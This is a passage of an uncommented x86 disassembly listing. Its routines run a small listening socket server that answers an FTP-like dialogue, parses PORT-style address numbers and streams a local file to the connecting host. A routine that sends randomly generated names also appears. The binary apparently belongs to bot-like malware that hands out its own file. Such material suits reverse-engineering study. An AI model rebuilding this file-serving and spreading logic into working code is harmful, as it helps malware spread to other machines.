		mov	[esp+74h+var_14], ebx
		call	sub_13AC544
		add	esp, 4
		test	al, al
		jz	loc_13C8E4D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+98h+var_4C]
		push	3Dh
		push	ecx
		call	sub_13ABDB5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+70h+var_14], 6
		mov	ecx, ebp
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+80h+var_5C]
		mov	byte ptr [esp+80h+var_24], bl
		call	sub_13AB626
		lea	ecx, [esp+80h+var_70]
		call	sub_13ABF40
		lea	ecx, [esp+80h+var_6C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+84h+var_68]
		call	sub_13AB85B
		mov	edx, [eax]
		lea	eax, [esp+84h+var_70]
		push	eax
		lea	ecx, [esp+88h+var_6C]
		mov	[esp+88h+var_74], edx
		call	sub_13AB7ED
		push	eax
		lea	ecx, [esp+8Ch+var_78]
		call	sub_13AB6BC
		test	al, al
		jz	short loc_13C8E4D
		mov	ebx, Sleep


loc_13C8DE6:				; CODE XREF: sub_13C8A70+3DBj
		lea	ecx, [esp+8Ch+var_7C]
		inc	edi
		call	sub_13AB455
		mov	ecx, eax
		call	sub_13ABBE4
		push	eax
		push	edi
		push	offset dword_444030
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		push	5DCh
		call	ebx ; Sleep
		lea	ecx, [esp+90h+var_80]
		call	sub_13ABC2A
		lea	eax, [esp+90h+var_7C]
		lea	ecx, [esp+90h+var_78]
		push	eax
		call	sub_13AB7ED
		push	eax
		lea	ecx, [esp+98h+var_84]
		call	sub_13AB6BC
		test	al, al
		jnz	short loc_13C8DE6


loc_13C8E4D:				; CODE XREF: sub_13C8A70+2CFj
					; sub_13C8A70+36Ej
		lea	ecx, [esp+98h+var_80]
		mov	[esp+98h+var_3C], 0FFFFFFFFh
		call	sub_13AB653
		mov	al, 1
		jmp	loc_13C9027
; ---------------------------------------------------------------------------


loc_13C8E65:				; CODE XREF: sub_13C8A70+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C8F5C
		push	offset dword_443600
		lea	ecx, [esp+74h+var_4C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+80h+var_20], 7
		call	sub_13AB6EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+80h+var_5C]
		mov	[esp+80h+var_24], edi
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13C9025
		push	offset dword_443600
		lea	edx, [esp+84h+var_5C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+8Ch+var_30], 8
		call	sub_13ABBE4
		push	eax
		call	sub_13ABDFB
		add	esp, 4
		lea	ecx, [esp+8Ch+var_68]
		mov	[esp+8Ch+var_30], edi
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+90h+var_68]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+98h+var_3C], 9
		call	sub_13AB8D3
		push	eax
		push	offset dword_444028
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		lea	ecx, [esp+98h+var_74]
		mov	[esp+98h+var_3C], edi
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13C9027
; ---------------------------------------------------------------------------


loc_13C8F5C:				; CODE XREF: sub_13C8A70+40Aj
		lea	ecx, [edi+60h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C9025
		push	offset dword_443600
		lea	eax, [esp+78h+var_50]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+84h+var_24], 0Ah
		call	sub_13AB6EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+84h+var_60]
		mov	[esp+84h+var_28], edi
		call	sub_13AB626
		test	bl, bl
		jnz	short loc_13C9025
		push	offset dword_443600
		lea	ecx, [esp+88h+var_48]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+90h+var_34], 0Bh
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+90h+var_54]
		mov	ebx, eax
		mov	[esp+90h+var_34], edi
		call	sub_13AB626
		test	ebx, ebx
		jz	short loc_13C9025
		push	ebx
		push	offset dword_44401C
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		push	ebx
		call	sub_13ABCA7
		add	esp, 1Ch
		jmp	short loc_13C9027
; ---------------------------------------------------------------------------


loc_13C9025:				; CODE XREF: sub_13C8A70+1F0j
					; sub_13C8A70+44Ej ...
		xor	al, al


loc_13C9027:				; CODE XREF: sub_13C8A70+195j
					; sub_13C8A70+289j ...
		mov	ecx, [esp+78h+var_24]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_13C8A70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13C91C0	proc near		; CODE XREF: sub_13AC3E6j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_13C91C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, Sleep
		mov	[ebp+var_10], esp
		mov	esi, ecx
		mov	[ebp+var_4], 0


loc_13C91F0:				; CODE XREF: sub_13C91C0+41j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_13C9203
		push	3E8h
		call	edi ; Sleep
		jmp	short loc_13C91F0
; ---------------------------------------------------------------------------


loc_13C9203:				; CODE XREF: sub_13C91C0+38j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472C7
		call	sub_13ABE32
		lea	edx, [ebp+var_14]
		mov	ecx, offset byte_E2AAEB
		push	edx
		mov	[ebp+var_14], esi
		call	sub_13AB60D
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13C91C0	endp

; ---------------------------------------------------------------------------
		mov	eax, 41EE29h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9280	proc near		; CODE XREF: sub_13AC1E3j

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_13AC3BE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_13AC3BE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_13AC3BE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_13AC3BE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_13AC3BE
		mov	al, [esp+18h+var_C]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_13C9280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9340	proc near		; CODE XREF: sub_13AC4A9j

var_140		= dword	ptr -140h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_F8		= byte ptr -0F8h
var_EC		= dword	ptr -0ECh
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_CC		= dword	ptr -0CCh
var_C8		= byte ptr -0C8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= byte ptr -88h
var_7C		= byte ptr -7Ch
var_70		= byte ptr -70h
var_64		= byte ptr -64h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_10		= byte ptr  14h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_44		= byte ptr  48h
arg_4C		= byte ptr  50h
arg_58		= byte ptr  5Ch
arg_80		= byte ptr  84h
arg_B4		= byte ptr  0B8h
arg_F0		= byte ptr  0F4h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_13C		= byte ptr  140h
arg_14C		= byte ptr  150h
arg_8A4		= byte ptr  8A8h
arg_1864	= dword	ptr  1868h
arg_1874	= dword	ptr  1878h
arg_18CC	= byte ptr  18D0h
arg_18D8	= byte ptr  18DCh
arg_18E4	= byte ptr  18E8h
arg_18F0	= byte ptr  18F4h
arg_18FC	= byte ptr  1900h
arg_1908	= byte ptr  190Ch
arg_1914	= byte ptr  1918h
arg_1920	= byte ptr  1924h
arg_1968	= byte ptr  196Ch
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43B2AEh
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr ds:dword_44769F
		push	edx
		call	htons	; htons
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_13C93C7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_E2AAEB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_13AB60D
		jmp	loc_13C9A6A
; ---------------------------------------------------------------------------


loc_13C93C7:				; CODE XREF: sub_13C9340+6Dj
		push	10h
		push	esi
		push	eax
		call	bind	; bind
		test	eax, eax
		jz	short loc_13C93F7
		mov	ecx, [edi+15h]
		push	ecx
		call	closesocket	; closesocket
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_E2AAEB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_13AB60D
		jmp	loc_13C9A6A
; ---------------------------------------------------------------------------


loc_13C93F7:				; CODE XREF: sub_13C9340+93j
		mov	al, ds:byte_E2AA94
		test	al, al
		jz	loc_13C9A60
		push	ebx
		mov	ebx, atoi
		push	ebp
		mov	ebp, send


loc_13C9412:				; CODE XREF: sub_13C9340+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13C942D
		push	0FAh
		jmp	loc_13C9A4B
; ---------------------------------------------------------------------------


loc_13C942D:				; CODE XREF: sub_13C9340+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	accept	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_13C9A46
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		call	getpeername	; getpeername
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_13C9A51
		mov	cl, ds:byte_447E08
		test	cl, cl
		jz	short loc_13C94DF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, ds:dword_44769F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset dword_4440DC
		mov	ecx, offset dword_4479A8
		call	sub_13AB8D3
		push	eax
		push	0
		push	0
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 28h


loc_13C94DF:				; CODE XREF: sub_13C9340+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_13AB824
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_13AC05D
		push	eax
		call	sub_13AB9EB
		add	esp, 8
		lea	eax, [esp+5Ch]
		lea	ecx, [esp+5Ch+arg_14]
		push	eax
		call	sub_13AB8C9
		lea	ecx, [esp+60h+var_4]
		mov	[esp+60h+arg_1968], 1
		push	ecx
		lea	ecx, [esp+64h+arg_10]
		call	sub_13AC3BE
		mov	edi, offset dword_4440D4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_4440D4
		push	esi
		call	ebp ; send
		push	0
		lea	edx, [esp+78h+arg_14C]
		push	800h
		push	edx
		push	esi
		call	sub_13AB680
		mov	edi, offset dword_4440CC
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset dword_4440CC
		push	esi
		call	ebp ; send
		push	0
		lea	eax, [esp+88h+arg_13C]
		push	800h
		push	eax
		push	esi
		call	sub_13AB680
		mov	edi, offset dword_4440C4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset dword_4440C4
		push	esi
		call	ebp ; send
		push	0
		lea	ecx, [esp+98h+arg_12C]
		push	800h
		push	ecx
		push	esi
		call	sub_13AB680
		mov	edi, offset dword_4440BC
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_4440BC
		push	esi
		call	ebp ; send
		push	0
		lea	edx, [esp+0A8h+arg_11C]
		push	800h
		push	edx
		push	esi
		call	sub_13AB680
		add	esp, 10h
		lea	eax, [esp+0A4h+arg_11C]
		lea	ecx, [esp+0A4h+var_18]
		push	eax
		call	sub_13ABC61
		push	offset dword_443600
		lea	ecx, [esp+0ACh+var_64]
		push	1
		push	ecx
		lea	ecx, [esp+0B4h+var_1C]
		mov	[esp+0B4h+arg_1920], 2
		call	sub_13ABAAE
		push	offset dword_4440B8
		lea	edx, [esp+0B8h+arg_1C]
		push	0
		push	edx
		lea	ecx, [esp+0C0h+var_70]
		mov	[esp+0C0h+arg_1914], 3
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0C0h+arg_1908], 4
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0C0h+arg_10]
		mov	edi, eax
		mov	[esp+0C0h+arg_1908], 3
		call	sub_13AB626
		push	offset dword_4440B8
		lea	eax, [esp+0C4h+arg_58]
		push	1
		push	eax
		lea	ecx, [esp+0CCh+var_7C]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0CCh+arg_18FC], 5
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0CCh+arg_4C]
		mov	[esp+0CCh+var_B0], eax
		mov	[esp+0CCh+arg_18FC], 3
		call	sub_13AB626
		push	offset dword_4440B8
		lea	ecx, [esp+0D0h+var_28]
		push	2
		push	ecx
		lea	ecx, [esp+0D8h+var_88]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0D8h+arg_18F0], 6
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0D8h+var_34]
		mov	[esp+0D8h+var_9C], eax
		mov	[esp+0D8h+arg_18F0], 3
		call	sub_13AB626
		push	offset dword_4440B8
		lea	edx, [esp+0DCh+arg_28]
		push	3
		push	edx
		lea	ecx, [esp+0E4h+var_94]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0E4h+arg_18E4], 7
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0E4h+arg_1C]
		mov	[esp+0E4h+var_A4], eax
		mov	[esp+0E4h+arg_18E4], 3
		call	sub_13AB626
		push	offset dword_4440B8
		lea	eax, [esp+0E8h+var_28]
		push	4
		push	eax
		lea	ecx, [esp+0F0h+var_A0]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0F0h+arg_18D8], 8
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0F0h+var_34]
		mov	[esp+0F0h+var_E0], eax
		mov	[esp+0F0h+arg_18D8], 3
		call	sub_13AB626
		push	offset dword_4440B8
		lea	ecx, [esp+0F4h+var_4]
		push	5
		push	ecx
		lea	ecx, [esp+0FCh+var_AC]
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0FCh+arg_18CC], 9
		call	sub_13ABBE4
		push	eax
		call	ebx ; atoi
		add	esp, 4
		lea	ecx, [esp+0FCh+var_10]
		mov	[esp+0FCh+var_E4], eax
		mov	[esp+0FCh+arg_18CC], 3
		call	sub_13AB626
		mov	dl, byte ptr [esp+0FCh+var_EC]
		mov	al, byte ptr [esp+0FCh+var_E4]
		mov	ecx, [esp+0FCh+var_BC]
		mov	byte ptr [esp+0FCh+var_CC+1], dl
		mov	edx, [esp+0FCh+var_C0]
		mov	byte ptr [esp+0FCh+var_CC], al
		mov	eax, [esp+0FCh+var_CC]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+104h+var_EC], eax
		mov	eax, [esp+104h+var_E0]
		push	eax
		push	edi
		lea	ecx, [esp+10Ch+arg_44]
		push	offset dword_443CD4
		push	ecx
		call	wsprintfA	; wsprintfA
		mov	edi, offset dword_4440BC
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset dword_4440BC
		push	esi
		call	ebp ; send
		push	0
		lea	edx, [esp+110h+arg_B4]
		push	800h
		push	edx
		push	esi
		call	sub_13AB680
		mov	edi, offset dword_4440B0
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset dword_4440B0
		push	esi
		call	ebp ; send
		mov	eax, [esp+11Ch+var_10C]
		lea	ecx, [esp+11Ch+arg_24]
		push	eax
		push	ecx
		call	sub_13ABE8C
		add	esp, 8
		lea	ecx, [esp+11Ch+var_A8]
		mov	[esp+11Ch+var_10C], eax
		push	offset dword_4440AC
		call	sub_13ABBE4
		push	eax
		call	fopen	; fopen
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+11Ch+var_104], edi
		jz	loc_13C99A5
		cmp	[esp+11Ch+var_10C], 0FFFFFFFFh
		jz	loc_13C99A5
		push	2
		push	0
		push	edi
		call	fseek	; fseek
		push	edi
		call	ftell	; ftell
		push	0
		push	0
		push	edi
		mov	[esp+138h+var_100], eax
		call	fseek	; fseek
		add	esp, 1Ch


loc_13C98D0:				; CODE XREF: sub_13C9340+5E1j
		mov	edx, [esp+11Ch+var_104]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+11Ch+arg_8A4]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+124h+arg_8A4]
		push	1
		push	eax
		call	fread	; fread
		mov	ecx, [esp+12Ch+var_104]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_13C9923
		mov	eax, [esp+11Ch+var_10C]
		push	0
		lea	edx, [esp+120h+arg_8A4]
		push	edi
		push	edx
		push	eax
		call	ebp ; send
		cmp	edi, 1000h
		jz	short loc_13C98D0


loc_13C9923:				; CODE XREF: sub_13C9340+5C7j
		mov	eax, [esp+12Ch+var_118]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, ds:byte_447E08
		test	cl, cl
		mov	eax, edx
		jz	short loc_13C998C
		mov	edx, [esp+27h]
		mov	ecx, [esp+12Ch+var_110]
		push	eax
		mov	eax, [esp+2Ah]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+2Dh]
		push	edx
		mov	edx, [esp+138h+var_108]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset dword_444070
		mov	ecx, offset dword_4479A8
		call	sub_13AB8D3
		push	eax
		push	0
		push	0
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 2Ch


loc_13C998C:				; CODE XREF: sub_13C9340+5F8j
		mov	eax, [esp+12Ch+var_114]
		push	eax
		call	fclose	; fclose
		mov	ecx, [esp+130h+var_11C]
		add	esp, 4
		push	ecx
		call	closesocket	; closesocket


loc_13C99A5:				; CODE XREF: sub_13C9340+55Bj
					; sub_13C9340+566j
		mov	edi, offset dword_444068
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_444068
		push	esi
		call	ebp ; send
		push	0
		lea	edx, [esp+144h+arg_80]
		push	800h
		push	edx
		push	esi
		call	sub_13AB680
		mov	edi, offset dword_444060
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset dword_444060
		push	esi
		call	ebp ; send
		push	esi
		call	closesocket	; closesocket
		lea	ecx, [esp+154h+var_110]
		mov	byte ptr [esp+154h+arg_1874], 2
		call	sub_13AB626
		lea	ecx, [esp+154h+var_C8]
		mov	byte ptr [esp+154h+arg_1874], 1
		call	sub_13AB626
		lea	ecx, [esp+154h+var_E0]
		mov	byte ptr [esp+154h+arg_1874], 0
		call	sub_13AB626
		lea	ecx, [esp+154h+var_F8]
		mov	[esp+154h+arg_1874], 0FFFFFFFFh
		call	sub_13AB626
		mov	edi, [esp+154h+var_140]


loc_13C9A46:				; CODE XREF: sub_13C9340+109j
		push	9C4h


loc_13C9A4B:				; CODE XREF: sub_13C9340+E8j
		call	Sleep	; Sleep


loc_13C9A51:				; CODE XREF: sub_13C9340+140j
		mov	al, ds:byte_E2AA94
		test	al, al
		jnz	loc_13C9412
		pop	ebp
		pop	ebx


loc_13C9A60:				; CODE XREF: sub_13C9340+BEj
		mov	eax, [edi+15h]
		push	eax
		call	closesocket	; closesocket


loc_13C9A6A:				; CODE XREF: sub_13C9340+82j
					; sub_13C9340+B2j
		mov	ecx, [esp+154h+arg_1864]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_13C9340	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9C70	proc near		; CODE XREF: sub_13AB630j

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_4C		= byte ptr -4Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_10		= byte ptr  14h

		push	0FFFFFFFFh
		push	43B2F0h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_13ABD7E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_13C9CAD
		mov	ds:byte_E2AAE9,	0
		jmp	loc_13C9E11
; ---------------------------------------------------------------------------


loc_13C9CAD:				; CODE XREF: sub_13C9C70+2Fj
		mov	cl, ds:byte_4472CB
		xor	ebx, ebx
		cmp	cl, bl
		mov	ds:byte_E2AAE9,	1
		jnz	loc_13C9E04
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_13AC3EB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_13C9DF7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_13AB824
		mov	[esp+0A0h+var_4], ebx
		call	sub_13AC2EC
		mov	esi, rand
		call	esi ; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F80
		idiv	ecx
		lea	ecx, [esp+88h+var_60]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_13AB9D7
		cmp	edi, ebx
		jle	short loc_13C9D76


loc_13C9D1A:				; CODE XREF: sub_13C9C70+104j
		lea	ecx, [esp+88h+var_4C]
		call	sub_13AB824
		lea	edx, [esp+88h+var_64]
		lea	ecx, [esp+88h+var_4C]
		push	edx
		mov	[esp+8Ch+arg_10], 1
		call	sub_13AC3BE
		call	esi ; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+88h+var_4C]
		add	edx, 61h
		push	edx
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+90h+var_64]
		push	offset dword_443E94
		push	edx
		call	sub_13AB42D
		add	esp, 10h
		lea	ecx, [esp+88h+var_4C]
		mov	[esp+88h+arg_10], bl
		call	sub_13AB626
		dec	edi
		jnz	short loc_13C9D1A


loc_13C9D76:				; CODE XREF: sub_13C9C70+A8j
		push	0Ah
		lea	ecx, [esp+8Ch+var_64]
		call	sub_13AB86F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+88h+var_34]
		rep stosd
		lea	ecx, [esp+88h+var_64]
		call	sub_13ABBE4
		push	eax
		push	71h
		call	esi ; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+94h+var_34]
		push	offset dword_4440F8
		push	edx
		call	wsprintfA	; wsprintfA
		add	esp, 14h
		lea	eax, [esp+88h+var_34]
		push	ebx
		push	40h
		push	eax
		push	ebp
		call	send	; send
		mov	esi, closesocket
		push	ebp
		call	esi ; closesocket
		lea	ecx, [esp+9Ch+var_78]
		mov	dword ptr [esp+9Ch], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+9Ch+var_8C]
		push	ecx
		call	esi ; closesocket
		mov	ds:byte_E2AAE9,	bl
		pop	edi
		jmp	short loc_13C9E0E
; ---------------------------------------------------------------------------


loc_13C9DF7:				; CODE XREF: sub_13C9C70+67j
		push	7D0h
		call	Sleep	; Sleep
		jmp	short loc_13C9E11
; ---------------------------------------------------------------------------


loc_13C9E04:				; CODE XREF: sub_13C9C70+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, closesocket


loc_13C9E0E:				; CODE XREF: sub_13C9C70+185j
		push	ebp
		call	esi ; closesocket


loc_13C9E11:				; CODE XREF: sub_13C9C70+38j
					; sub_13C9C70+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_13C9C70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9EA0	proc near		; CODE XREF: sub_13ABEBEj

